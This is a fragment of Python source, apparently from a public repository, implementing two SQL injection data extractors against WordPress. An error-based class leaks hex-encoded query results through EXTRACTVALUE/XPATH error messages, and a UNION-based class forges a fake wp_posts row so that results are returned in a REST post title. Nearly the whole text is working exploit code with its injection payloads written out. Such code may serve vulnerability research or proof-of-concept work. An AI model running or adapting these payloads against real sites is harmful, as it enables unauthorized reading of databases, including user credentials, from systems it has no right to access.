_HEX_RE = re.compile(r"XPATH syntax error: '~([0-9A-Fa-f]*)")
|
||||
_STR_RE = re.compile(r"XPATH syntax error: '~([^']*)")
|
||||
_CHUNK = 15 # bytes per request -> 30 hex chars -> '~' + 30 = 31 < 32-char error cap
|
||||
|
||||
def __init__(self, client: BatchClient) -> None:
|
||||
self.client = client
|
||||
self.requests = 0
|
||||
|
||||
def available(self) -> bool:
|
||||
"""Return True if the target reflects EXTRACTVALUE errors (error-based is usable)."""
|
||||
return self._leak_hex("SELECT 0x414243") == b"ABC" # 'ABC'
|
||||
|
||||
def extract(
|
||||
self,
|
||||
expression: str,
|
||||
*,
|
||||
max_length: int = 256,
|
||||
on_char: Optional[Callable[[str], None]] = None,
|
||||
) -> str:
|
||||
length_text = self._leak_str(f"SELECT LENGTH(COALESCE(({expression}),''))")
|
||||
if length_text is None or not length_text.strip().isdigit():
|
||||
return ""
|
||||
length = min(int(length_text.strip()), max_length)
|
||||
|
||||
out = bytearray()
|
||||
offset = 1
|
||||
while offset <= length:
|
||||
chunk = self._leak_hex(
|
||||
f"SELECT SUBSTRING(COALESCE(({expression}),''),{offset},{self._CHUNK})"
|
||||
)
|
||||
if not chunk:
|
||||
break
|
||||
out.extend(chunk)
|
||||
offset += len(chunk)
|
||||
if on_char:
|
||||
on_char(out.decode("utf-8", "replace"))
|
||||
if len(chunk) < self._CHUNK:
|
||||
break
|
||||
return out.decode("utf-8", "replace")
|
||||
|
||||
def integer(self, expression: str) -> int:
|
||||
text = (self._leak_str(f"SELECT ({expression})") or "").strip()
|
||||
if not text.lstrip("-").isdigit():
|
||||
raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
|
||||
return int(text)
|
||||
|
||||
def _leak_hex(self, expression: str) -> Optional[bytes]:
|
||||
text = self._send(f"HEX(({expression}))")
|
||||
match = self._HEX_RE.search(text)
|
||||
if not match:
|
||||
return None
|
||||
digits = match.group(1)
|
||||
if len(digits) % 2: # defensive: drop a half-byte if the error truncated mid-pair
|
||||
digits = digits[:-1]
|
||||
try:
|
||||
return bytes.fromhex(digits)
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
def _leak_str(self, expression: str) -> Optional[str]:
|
||||
text = self._send(f"({expression})")
|
||||
match = self._STR_RE.search(text)
|
||||
return match.group(1) if match else None
|
||||
|
||||
def _send(self, inner: str) -> str:
|
||||
self.requests += 1
|
||||
payload = f"0) OR EXTRACTVALUE(1,CONCAT(0x7e,{inner}))-- -"
|
||||
return html.unescape(self.client.inject(payload).body)
|
||||
|
||||
|
||||
class UnionSQLi:
|
||||
"""In-band UNION extractor: forges a fake ``WP_Post`` row and reads its reflected title.
|
||||
|
||||
Uses the single-post-route confusion (see ``BatchClient.union_inject``) to reach a non-split,
|
||||
no-``ORDER BY`` posts query, then ``UNION SELECT``s a full ``wp_posts.*`` row whose
|
||||
``post_title`` carries ``||HEX(value)||``. The forged post is returned in the REST collection
|
||||
response, so a whole value comes back in a single request — no blind search, no reliance on
|
||||
reflected DB errors. This also demonstrates the fake-``WP_Post`` object-cache poisoning
|
||||
primitive (the row is added to the ``posts`` cache for the rest of the request). Read only.
|
||||
"""
|
||||
|
||||
_COLUMNS = 23 # wp_posts column count (stable across modern WordPress)
|
||||
_TITLE_COL = 6 # post_title is rendered back in the REST response
|
||||
_RE = re.compile(r"\|\|([0-9A-Fa-f]*)\|\|")
|
||||
# 'publish' / 'post' / a valid datetime keep the forged row a readable, renderable post.
|
||||
_PUBLISH = "0x7075626c697368"
|
||||
_POST = "0x706f7374"
|
||||
_DATE = "0x323032302d30312d30312030303a30303a3030"
|
||||
|
||||
def __init__(self, client: BatchClient) -> None:
|
||||
self.client = client
|
||||
self.requests = 0
|
||||
|
||||
def available(self) -> bool:
|
||||
"""Return True if the target reflects a UNION-forged post (union extraction is usable)."""
|
||||
return self._read("SELECT 0x4f4b") == "OK"
|
||||
|
||||
def extract(
|
||||
self,
|
||||
expression: str,
|
||||
*,
|
||||
max_length: int = 0, # accepted for interface parity; a UNION reads the whole value at once
|
||||
on_char: Optional[Callable[[str], None]] = None,
|
||||
) -> str:
|
||||
value = self._read(expression)
|
||||
if value and on_char:
|
||||
on_char(value)
|
||||
return value or ""
|
||||
|
||||
def integer(self, expression: str) -> int:
|
||||
text = (self._read(f"SELECT ({expression})") or "").strip()
|
||||
if not text.lstrip("-").isdigit():
|
||||
raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
|
||||
return int(text)
|
||||
|
||||
def _read(self, expression: str) -> Optional[str]:
|
||||
self.requests += 1
|
||||
response = self.client.union_inject(f"0) UNION SELECT {self._columns(expression)}-- -")
|
||||
match = self._RE.search(response.body)
|
||||
if not match:
|
||||
return None
|
||||
digits = match.group(1)
|
||||
if len(digits) % 2:
|
||||
digits = digits[:-1]
|
||||
try:
|
||||
return bytes.fromhex(digits).decode("utf-8", "replace")
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
def _columns(self, expression: str) -> str:
|
||||
columns = []
|
||||
for index in range(1, self._COLUMNS + 1):
|
||||
if index == 1:
|
||||
columns.append("999999") # ID (fake, unused post id)
|
||||
elif index in (3, 4, 15, 16):
|
||||
columns.append(self._DATE) # post_date / *_gmt / post_modified / *_gmt
|
||||
elif index == self._TITLE_COL:
|
||||
columns.append(f"CONCAT(0x7c7c,HEX(CAST(({expression})AS CHAR)),0x7c7c)")
|
||||
elif index == 8:
|
||||
columns.append(self._PUBLISH) # post_status
|
||||
elif index == 21:
|
||||
columns.append(self._POST) # post_type
|
||||
else:
|
||||
columns.append(str(index))
|
||||
return ",".join(columns)
|
||||
|
||||
Reference in New Issue
Block a user